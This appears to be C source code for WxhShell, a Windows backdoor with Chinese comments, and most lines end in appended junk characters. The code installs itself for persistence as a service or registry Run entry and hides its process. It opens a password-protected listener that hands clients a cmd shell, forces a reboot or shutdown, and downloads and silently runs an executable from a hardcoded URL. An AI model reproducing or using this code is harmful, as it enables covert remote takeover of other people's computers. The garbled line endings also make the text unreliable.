    if(Boot(SHUTDOWN)) uS&LG#a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qv$!\T  
    else { yZ5 x8 8>  
    closesocket(wsh); 6Etss!_  
    ExitThread(0); so*/OBte  
    } z(rK^RT  
    break; k8 u%$G  
    } Fh^ox"3c  
  // 获取shell Qww^P/vm  
  case 's': { .$P|^Zx,  
    CmdShell(wsh); >K5~:mx#3  
    closesocket(wsh); Y+@g~TE  
    ExitThread(0); Li]k7w?H  
    break; \q,s?`+B  
  } TW2Z=ks=  
  // 退出 L_k9g12  
  case 'x': { |Q5+l.%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j %H`0  
    CloseIt(wsh); <}]{~y  
    break; ogJ<e_ m  
    } nP OO3!<{  
  // 离开 3}j1RYtz  
  case 'q': { Za0gs @$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); St2Q7K5s{  
    closesocket(wsh);  $WR?  
    WSACleanup(); vtZ?X';wh  
    exit(1); >D~w}z/fk  
    break; 1AT'S;`  
        } pqH4w(;  
  } FQ!Oxlq,Q  
  } 8kS~ENe?o  
sl^n6N  
  // 提示信息 Mi?}S6bp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m:3J!1  
} Z7KXWu+6`m  
  } .jargvAL*  
{>h97}P  
  return; B4^`Sw  
} c.0]1  
F"[3c6yF  
// shell模块句柄 ABZ06S/  
int CmdShell(SOCKET sock) Z%e|*GS{  
{ 5 q65nF  
STARTUPINFO si; >C# kqxfg  
ZeroMemory(&si,sizeof(si)); cQn)^jx=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [@|be.g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A="fj  
PROCESS_INFORMATION ProcessInfo; Ye@t_,)x  
char cmdline[]="cmd"; n,sY\=vB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `m, Ki69.  
  return 0; N+J>7_k   
} HCazwX  
nE7JLtbH  
// 自身启动模式 ;s}3e#$L  
int StartFromService(void) 7k~Lttuk  
{ ]F+K|X9-  
typedef struct sf)W~Lx 5a  
{ :".w{0l@  
  DWORD ExitStatus; Ihqs%;V  
  DWORD PebBaseAddress; g z4UV/qr/  
  DWORD AffinityMask; d;44;*D  
  DWORD BasePriority; a:b^!H>#  
  ULONG UniqueProcessId; M(2`2-/xh  
  ULONG InheritedFromUniqueProcessId; mW +tV1XjG  
}   PROCESS_BASIC_INFORMATION; .8(%4ejJ(  
r.<JDdj  
PROCNTQSIP NtQueryInformationProcess; Uouq>N  
wS%zWdsz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 02pplDFsM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hfv%,,e  
VMF|iB  
  HANDLE             hProcess; t%$@fjz  
  PROCESS_BASIC_INFORMATION pbi; 1a8$f5  
5r7h=[N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f'_M0x  
  if(NULL == hInst ) return 0; L=g_@b   
^/a*.cu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m|1n x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?ZX!7^7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Up|f=@=  
c3W BALdh  
  if (!NtQueryInformationProcess) return 0;  CC#C  
B6%&gXr\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !=[>r'+3  
  if(!hProcess) return 0; /< QSe  
7xT[<?,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ow)R|/e /  
R&Ci/  
  CloseHandle(hProcess); no|Gq>Xp  
TY6 rwU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y&GuDLUF  
if(hProcess==NULL) return 0; K(OaW)j  
C{&)(#*L  
HMODULE hMod; ^Plc}W7h  
char procName[255]; v20~^gKo=m  
unsigned long cbNeeded; P7r4ePtLk{  
C0(sAF@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ET+'Pj3  
ox4W$YdMG  
  CloseHandle(hProcess); Rsn^eR6^  
Nv3tt  
if(strstr(procName,"services")) return 1; // 以服务启动 *~;8N|4<  
:\bfGSD/gd  
  return 0; // 注册表启动 {:)vwUe{  
} 3]`mQm E  
/buWAX 1  
// 主模块 ;($1Z7j+  
int StartWxhshell(LPSTR lpCmdLine) wT/6aJoX  
{ ]/44Ygz/  
  SOCKET wsl; iRs V#s  
BOOL val=TRUE; Bc[6*Y,%T  
  int port=0; M2p<u-6 "  
  struct sockaddr_in door; Rcf=J){D6  
G#lg|# -#  
  if(wscfg.ws_autoins) Install(); [+Un ^gD  
HfZtL  
port=atoi(lpCmdLine); 2fbU-9Rfn  
OL9]*G?F  
if(port<=0) port=wscfg.ws_port; 9wMEvX70  
a( |xw  
  WSADATA data; MA6P"?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9U'[88  
,LZ(^ u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W_m!@T"@H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MS{{R +&  
  door.sin_family = AF_INET; 74]a/'4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @d)LRw.I  
  door.sin_port = htons(port); ohsH2]C  
qiU5{}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :kN5?t=  
closesocket(wsl); VA2<r(y~(  
return 1; ,CKvTxz0  
} 1i+FL''  
f3t. T=S  
  if(listen(wsl,2) == INVALID_SOCKET) { B1+ZFQo  
closesocket(wsl); qHJ'1~?q  
return 1; m}pL`:e!  
} f~*K {7  
  Wxhshell(wsl); ttj2b$M,  
  WSACleanup(); `:4MMr91  
50,Y  
return 0; O9*p0%ug  
y\Dn^  
} S+pP!YX  
\xeVDKJH+n  
// 以NT服务方式启动 k/bque  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6w!e?B2/%  
{ L=m:/qQL  
DWORD   status = 0;  "l2bx  
  DWORD   specificError = 0xfffffff; ]#5^&w)'  
5[<F_"x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OpqNEo\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N8 M'0i?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *%?d\8d  
  serviceStatus.dwWin32ExitCode     = 0; Cya5*U0=  
  serviceStatus.dwServiceSpecificExitCode = 0; 3 Ta>Ki  
  serviceStatus.dwCheckPoint       = 0; HEpM4xe$  
  serviceStatus.dwWaitHint       = 0; 8Z!*[c>K-?  
+f|6AeE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IfB/O.;Kz  
  if (hServiceStatusHandle==0) return; *]2R.u  
C fSl 54  
status = GetLastError(); n}:t<  
  if (status!=NO_ERROR) AsAFUuI  
{ n.Vtc-yZU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "*bk{)dz}  
    serviceStatus.dwCheckPoint       = 0; bP03G =`6w  
    serviceStatus.dwWaitHint       = 0; lC2?sD$  
    serviceStatus.dwWin32ExitCode     = status; P}l#VJWp  
    serviceStatus.dwServiceSpecificExitCode = specificError; _uJVuCc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >HIt}Zh  
    return; r`[B@  
  } 0\wiam-  
L;Vq j]_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L~ 2q1  
  serviceStatus.dwCheckPoint       = 0; ngLJ@TP-  
  serviceStatus.dwWaitHint       = 0; M8zE3;5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gD1+]am  
} 3I\m,Ob  
6g|#ho1Bbs  
// 处理NT服务事件,比如:启动、停止 %yvA   
VOID WINAPI NTServiceHandler(DWORD fdwControl) $`v+4]   
{ 1ys(v   
switch(fdwControl) O4N-_Kfp/  
{ y7La_FPrl  
case SERVICE_CONTROL_STOP: Wxs>osq  
  serviceStatus.dwWin32ExitCode = 0; bKByU{t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ArL-rJ{}  
  serviceStatus.dwCheckPoint   = 0; V4EM5 Z\k  
  serviceStatus.dwWaitHint     = 0; E\iJP^n  
  { |K)p]i+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !%wdn33"  
  } wI>h%y-%!  
  return; gWi{\x8dt  
case SERVICE_CONTROL_PAUSE: Ge0Lb+<G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =1/q)b,p)  
  break; zv@bI~3~  
case SERVICE_CONTROL_CONTINUE: U3N(cFXn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u{P~zyx  
  break; ,02w@we5  
case SERVICE_CONTROL_INTERROGATE: (JU_8j!  
  break; W]@6=OpH  
}; )^";BVY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (M8h y4Ex  
} B5 &YL  
hbH#Co~o4#  
// 标准应用程序主函数 gg(k7e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (FG^UA#'  
{ :Dj#VN  
;le0QA Pf  
// 获取操作系统版本 c(E,&{+E  
OsIsNt=GetOsVer(); vS#{-X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ge LW!  
]/[0O+B?  
  // 从命令行安装 {!y<<u1  
  if(strpbrk(lpCmdLine,"iI")) Install(); Tm\OYYyk  
"]UIz_^'`U  
  // 下载执行文件 MISE C[/  
if(wscfg.ws_downexe) { AygvJeM_W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $N dH*  
  WinExec(wscfg.ws_filenam,SW_HIDE); R|-j]Ne  
} V pH|R  
dxntGH< O  
if(!OsIsNt) { EZ `}*Yrd  
// 如果时win9x,隐藏进程并且设置为注册表启动 V $>"f(  
HideProc(); ([tG y  
StartWxhshell(lpCmdLine); ~hzEKvs  
} )\"I*Jwir  
else q^%5HeV 2  
  if(StartFromService()) =oPng= :  
  // 以服务方式启动 X+%u(>>  
  StartServiceCtrlDispatcher(DispatchTable); T(gg>_'jh  
else %:%MUdl6  
  // 普通方式启动 4ODX 5If  
  StartWxhshell(lpCmdLine); cPJ7E  
T1bFxim#b  
return 0; pW7kj&a_.  
} G\):2Qz!|  
`^zQ$au'u  
FTbtAlqh<  
4]]b1^vVj  
=========================================== jP7w6sk E  
wM0E%6 P  
&#Wkww&Y  
u X> PefR  
Q~b_dx{m  
boIVU`F-!  
" d _uF Y:  
C6CGj8G  
#include <stdio.h> w~n kNqm  
#include <string.h> BPqwDj W  
#include <windows.h> YY\Rua/nG  
#include <winsock2.h> I0(8Z]x  
#include <winsvc.h> a 1NCVZ  
#include <urlmon.h> C?S~L5a#oC  
^ISQ{M#_  
#pragma comment (lib, "Ws2_32.lib") _Po#ZGm~  
#pragma comment (lib, "urlmon.lib") !bieo'c  
8| Sba<d  
#define MAX_USER   100 // 最大客户端连接数 ZRUh/<\[  
#define BUF_SOCK   200 // sock buffer [C2kK *JZ  
#define KEY_BUFF   255 // 输入 buffer }pt-q[s>  
J7_8$B-j7  
#define REBOOT     0   // 重启 c9|I4=_K  
#define SHUTDOWN   1   // 关机 zQn//7#-G  
Ae.]F)w_\  
#define DEF_PORT   5000 // 监听端口 XA?WUR[e  
`k!UjO72  
#define REG_LEN     16   // 注册表键长度 EtJD'&  
#define SVC_LEN     80   // NT服务名长度 vmMV n-\#  
b~F!.^7Q  
// 从dll定义API 1BTgGF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e`vUK.UoW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {;\%!I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (5>{?dR)|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |^Ur  
C9GU6Ao  
// wxhshell配置信息 tjt=N\;  
struct WSCFG { /m;O;2"  
  int ws_port;         // 监听端口 # .~.UHt  
  char ws_passstr[REG_LEN]; // 口令 /O+e#z2f<  
  int ws_autoins;       // 安装标记, 1=yes 0=no cK/PQsMP  
  char ws_regname[REG_LEN]; // 注册表键名 G;Us-IRZ  
  char ws_svcname[REG_LEN]; // 服务名 1O|RIv7F[/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n|J.)E.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .\)--+(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7G?Ia%u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y{:]sHyG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PMD,8]|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9DmSs=A  
E*h0#m|)  
}; /E; ;j9  
~>.awu+o|  
// default Wxhshell configuration ,.J<.#D3J  
struct WSCFG wscfg={DEF_PORT, R%qX_m\0  
    "xuhuanlingzhe", (R,NV3m?w  
    1, 6vMDm0sv  
    "Wxhshell", Z3Bo@`&?  
    "Wxhshell", (/To?`  
            "WxhShell Service", wVlSjk  
    "Wrsky Windows CmdShell Service", fMgcK$  
    "Please Input Your Password: ", 4V!1/w  
  1, ^ yY{o/6  
  "http://www.wrsky.com/wxhshell.exe", S83]O!w0  
  "Wxhshell.exe" *;>V2!N=U  
    }; nomu$|I  
InAU\! ew  
// 消息定义模块 yp( ?1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k];L!Fj1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e?_c[`sg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .ruqRGe/  
char *msg_ws_ext="\n\rExit."; cC7"J\+r*  
char *msg_ws_end="\n\rQuit."; #rqyy0k0'h  
char *msg_ws_boot="\n\rReboot..."; S(@*3]!q  
char *msg_ws_poff="\n\rShutdown..."; tU8g(ep,o  
char *msg_ws_down="\n\rSave to "; !E4E'I=]N  
Nck!z8  
char *msg_ws_err="\n\rErr!"; c _R)P,P  
char *msg_ws_ok="\n\rOK!"; 6z1aG9G  
#nxER   
char ExeFile[MAX_PATH]; U` ? zC~  
int nUser = 0; bjU 2UcI"<  
HANDLE handles[MAX_USER]; !&1}w86  
int OsIsNt; a15,'v$O  
B]&Lh~Im  
SERVICE_STATUS       serviceStatus; f hVbJU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?{y:s!!  
tf.q~@Pi  
// 函数声明 =1V>Vd?8.  
int Install(void); -wPuml!hZ|  
int Uninstall(void); S7@ZtFf  
int DownloadFile(char *sURL, SOCKET wsh); GGFar\ EzW  
int Boot(int flag); j+z'  
void HideProc(void); AAeQ-nbP  
int GetOsVer(void); Dx p>  
int Wxhshell(SOCKET wsl); }rFsU\]:q  
void TalkWithClient(void *cs); i{%z  
int CmdShell(SOCKET sock); ?,A}E|jZ  
int StartFromService(void); kKFuTem_3  
int StartWxhshell(LPSTR lpCmdLine); e'}ePvN  
D2hAlV)i(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P_:?}h\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zsR  wF  
hX{g]KE>  
// 数据结构和表定义 +?4*,8Tmmz  
SERVICE_TABLE_ENTRY DispatchTable[] = +ZD[[+  
{ Eg287B  
{wscfg.ws_svcname, NTServiceMain}, ?NL&x  
{NULL, NULL} I;bg?RsF  
}; w>/pQ6=OFR  
Res"0Q  
// 自我安装 e/m'a|%:  
int Install(void) ~@)- qV^~  
{  tH<9  
  char svExeFile[MAX_PATH]; ovo?lE-a0  
  HKEY key; H4,.H,PZ  
  strcpy(svExeFile,ExeFile); |j.KFu845  
e+d6R[`M  
// 如果是win9x系统,修改注册表设为自启动 dQWA"6 ?i  
if(!OsIsNt) { %^Q@*+{:f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zu [?'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b.w(x*a  
  RegCloseKey(key); '&_y*"/c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y_|K,T6Zj@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b3CspBgC  
  RegCloseKey(key); A~yw8v5UF  
  return 0; 2V=FWuXC"  
    } TnMVHO-  
  } >8F{lbEe  
} s)`1Rf  
else { g4.'T51  
{Q#Fen ;y|  
// 如果是NT以上系统,安装为系统服务 iuH8g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qxg7cj2  
if (schSCManager!=0) 7~%  
{ Uy_}@50"l  
  SC_HANDLE schService = CreateService >%jEo'0;_  
  ( 3; -@<9  
  schSCManager, Jnu}{^~  
  wscfg.ws_svcname, rSc,\upz  
  wscfg.ws_svcdisp, a?xq*|?  
  SERVICE_ALL_ACCESS, bH)8UQR%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5{!a+  
  SERVICE_AUTO_START, N('S2yfDR  
  SERVICE_ERROR_NORMAL, )N%1%bg^-  
  svExeFile, FS]+s>  
  NULL, MK!]y8+Z  
  NULL, Ztpm_P6  
  NULL, c9cphZ(z  
  NULL, JQ{zWJlt  
  NULL Hc_hO  
  ); U{za m  
  if (schService!=0) `Q(]AG I2  
  { twJ|Jmd  
  CloseServiceHandle(schService); >X\s[d&(  
  CloseServiceHandle(schSCManager); [M8qU$&?]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #%=vy\r  
  strcat(svExeFile,wscfg.ws_svcname); e{rHO,#A>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3ZJagJ\O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y9re17{ X  
  RegCloseKey(key); kVG6\<c]  
  return 0; tl,x@['p`  
    } &d|VH y+  
  } EU&3Pdnd  
  CloseServiceHandle(schSCManager); ,nu7r1}  
} ^%'tD  
} >w]k3MC  
w7*b}D@65\  
return 1; P/1UCITq}  
} |<+|Du1  
L]L~TA<D9i  
// 自我卸载 @e?[oojrM  
int Uninstall(void) i1_>>49*  
{ Kj1#R  
  HKEY key; D0E"YEo\nv  
6UzT]"LR;  
if(!OsIsNt) { j O5:{%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ym,Ot1  
  RegDeleteValue(key,wscfg.ws_regname); @D=2Er\  
  RegCloseKey(key); Gad2EEZ%0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [&O:qaD^  
  RegDeleteValue(key,wscfg.ws_regname); b1 ['uJF  
  RegCloseKey(key); Ow .)h(y/  
  return 0; r #6l?+W ;  
  } >-tH&X^  
} 'i h  
} 3{#pd6e5  
else { Rcx'a:k  
HTtGpTsF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v BeU  
if (schSCManager!=0) C$re$9U  
{ >-@{vyoOy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); % OfDTs  
  if (schService!=0) b]qfcV  
  { />2$ XwP  
  if(DeleteService(schService)!=0) { N mjBJ_G  
  CloseServiceHandle(schService); ^D> MDj6  
  CloseServiceHandle(schSCManager); /CQQ^/  
  return 0; @2Y]p.$q  
  } ZX5A%`<M  
  CloseServiceHandle(schService); YQ8x6AJ  
  } $>rfAs!  
  CloseServiceHandle(schSCManager); 4Uy>#IL  
} $j4?'-i=e  
} Kg0\Pvg8?T  
[m+O0VK$  
return 1; d(B;vL@R2V  
} \z2hXT@D  
u b>K^  
// 从指定url下载文件 H1b%:KRVK  
int DownloadFile(char *sURL, SOCKET wsh) g2b4 ia!L  
{ u1|Y;*  
  HRESULT hr; 2T2#HP  
char seps[]= "/"; WZ V*J&  
char *token; 4.kkxQR7r  
char *file; aFc'_FrQ  
char myURL[MAX_PATH]; Y(!)G!CMc  
char myFILE[MAX_PATH]; UmI@":|-  
96V, [-arf  
strcpy(myURL,sURL); rJ~(Xu>,s  
  token=strtok(myURL,seps); Fe2 -;o  
  while(token!=NULL) d?qO`- ~$  
  { $Qc%9p @i  
    file=token; :tDGNz*zG  
  token=strtok(NULL,seps); XxU}|jTO#  
  }   SrU   
*CD=cmdD*  
GetCurrentDirectory(MAX_PATH,myFILE); {Ll8@'5  
strcat(myFILE, "\\"); x)sDf!d4bi  
strcat(myFILE, file); $bC!T  
  send(wsh,myFILE,strlen(myFILE),0); zmS-s\$,  
send(wsh,"...",3,0); Mn{Rg>X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j9fL0$+FI  
  if(hr==S_OK) ^@w1Z{:  
return 0; _ ~$0cj<  
else =ir;m  
return 1; XV9'[V  
}sNZQ89V*v  
} eDZ3SIZ  
X1~A "sW[  
// 系统电源模块 WaK{/6?T,  
int Boot(int flag) }Ml z\'{  
{  ]mU*Y:<  
  HANDLE hToken; ~#x!N=q  
  TOKEN_PRIVILEGES tkp; (C[S?@S  
,&l*AB!  
  if(OsIsNt) { lVBy&f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r ($t.iS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ',ybHW%D%i  
    tkp.PrivilegeCount = 1; ba1QFzN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zW&O>H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lz5j~t5>Q  
if(flag==REBOOT) { x};g!FYfkB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sOHAW*+  
  return 0; 6Kc7@oO~  
} (I 0t*Se  
else { 2F(\}%UT~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yBjWPx?  
  return 0; DL Q`<aU  
}  o|im  
  } ^/YAokj  
  else { qq{N; C  
if(flag==REBOOT) { P@![P Ij  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bL[W.O0  
  return 0; lL f01sa4  
} 3&2q\]Y,  
else { *zht(~%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9!C?2*>A P  
  return 0; 74OM tLL$  
} wZb@VG}%  
} _$lQK{@rY  
6Ky"4\e  
return 1; gJv^v`X  
} (3*Hl  
#-,`4x$m|  
// win9x进程隐藏模块 1mM52q.R4  
void HideProc(void) {q4"x5|  
{ ^ } L$[P  
A1;t60z+q>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o%5Ao?z~  
  if ( hKernel != NULL ) >D aS*r  
  { ;OyM~T gI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /_(Dq8^g@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uij$ eBN  
    FreeLibrary(hKernel); tB7aHZ|  
  } 5xKR ]u  
SQk!o{  
return; !7DS  
} R[t[M}q  
4v .6_ebL  
// 获取操作系统版本 RwKN  
int GetOsVer(void) ZQ/5]]}3y  
{ `lzH:B  
  OSVERSIONINFO winfo; iiscm\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p}uw-$O  
  GetVersionEx(&winfo); &y+eE?j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WG n1pW  
  return 1; W&#Nk5d  
  else DK1)9<  
  return 0; q[ZYlF,Ho  
} Az[z} r4  
Hua8/:![+  
// 客户端句柄模块 x.RZ!V-  
int Wxhshell(SOCKET wsl) w@We,FUJN  
{ @pz2}Hd |  
  SOCKET wsh; 8%Lg)hvl  
  struct sockaddr_in client; oJy/PR 3  
  DWORD myID; fM{Vy])J  
"'L SLp  
  while(nUser<MAX_USER) @P?*<b{  
{ #96a7K  
  int nSize=sizeof(client); [<t*&Kr+o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XRkqMq%  
  if(wsh==INVALID_SOCKET) return 1; COafVlJ,l  
XJ+sm^`vOf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^M"g5+ q  
if(handles[nUser]==0) T5)?6i -N  
  closesocket(wsh); f?QD##~;  
else 0OXd*  
  nUser++; hSmM OS{  
  } *KAuyJr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $[Ns#7K  
s0CRrMk  
  return 0; y5I7pbe  
} 6._):[_2  
2bmppDk  
// 关闭 socket w]}v m-  
void CloseIt(SOCKET wsh) 5:wf"3%%  
{ `XQ5>c  
closesocket(wsh); "q8wEu,z[  
nUser--; W7 $yE},z  
ExitThread(0); &IPT$=u  
} jp|wc,]!  
^*W3{eyi(L  
// 客户端请求句柄 Q5ux**(Wr  
void TalkWithClient(void *cs) ocvBKsfhE`  
{ %zGPF  
[0 $Y@ek[  
  SOCKET wsh=(SOCKET)cs; =S,^"D\Z:  
  char pwd[SVC_LEN]; o?>)CAo  
  char cmd[KEY_BUFF]; H={,zZ11{  
char chr[1]; u4Sa4o  
int i,j; "F^EfpcJ{9  
Q]\x O/  
  while (nUser < MAX_USER) { Ur@3_F  
^U1;5+2G+~  
if(wscfg.ws_passstr) { C/XOI >  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -v:Y\=[\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U!h!z`RU54  
  //ZeroMemory(pwd,KEY_BUFF); ,F1$Of/'@\  
      i=0; 2:]Sy4K{  
  while(i<SVC_LEN) { x-"7{@lz  
x?k6ek  
  // 设置超时 [4gv_g  
  fd_set FdRead; L:31toGK  
  struct timeval TimeOut; 8w\&QX  
  FD_ZERO(&FdRead); Cs$g]&a  
  FD_SET(wsh,&FdRead); (mzyA%;W  
  TimeOut.tv_sec=8; GxBj N7"  
  TimeOut.tv_usec=0; `hbM 2cM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (wTg aV1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); up`6IWlLE  
>+1bTt/-F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :r\<DVj  
  pwd=chr[0]; S +He  
  if(chr[0]==0xd || chr[0]==0xa) { }"szL=s  
  pwd=0; ^t| %!r G  
  break; </fzBaTo  
  }  z\ \MLyS  
  i++; m~}nM|m%  
    } v>,XJ7P  
n9#@ e}r  
  // 如果是非法用户,关闭 socket @E}4LTB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -1@kt<Es  
} ;2U`?"  
F:n7yey  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D;Z\GnD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5!wa\)wY  
s}5;)>3~@  
while(1) { F: \CDM=lS  
rT x]%{  
  ZeroMemory(cmd,KEY_BUFF); H:CwUFL  
5-MI 7I@l  
      // 自动支持客户端 telnet标准   |d{4_o90  
  j=0; j_k!9"bt  
  while(j<KEY_BUFF) { Cjw|.c`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J"|o g|Tz  
  cmd[j]=chr[0]; NZv1dy`fa  
  if(chr[0]==0xa || chr[0]==0xd) { 1>n@`M8}  
  cmd[j]=0; Zb@PwH4  
  break; -cMqq$  
  } LnLuWr<;}  
  j++; ;XANIT V  
    } O Qd,.m  
gVb;sk^  
  // 下载文件 hivWQ$6%  
  if(strstr(cmd,"http://")) { U1I2+;"#A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M4`qi3I  
  if(DownloadFile(cmd,wsh)) 'v?Z~"w=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3~Ah8,  
  else c!b4Y4eJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xse8fGs  
  } L_Z>*s&  
  else { u1rT:\G1  
_pL:dKfy7  
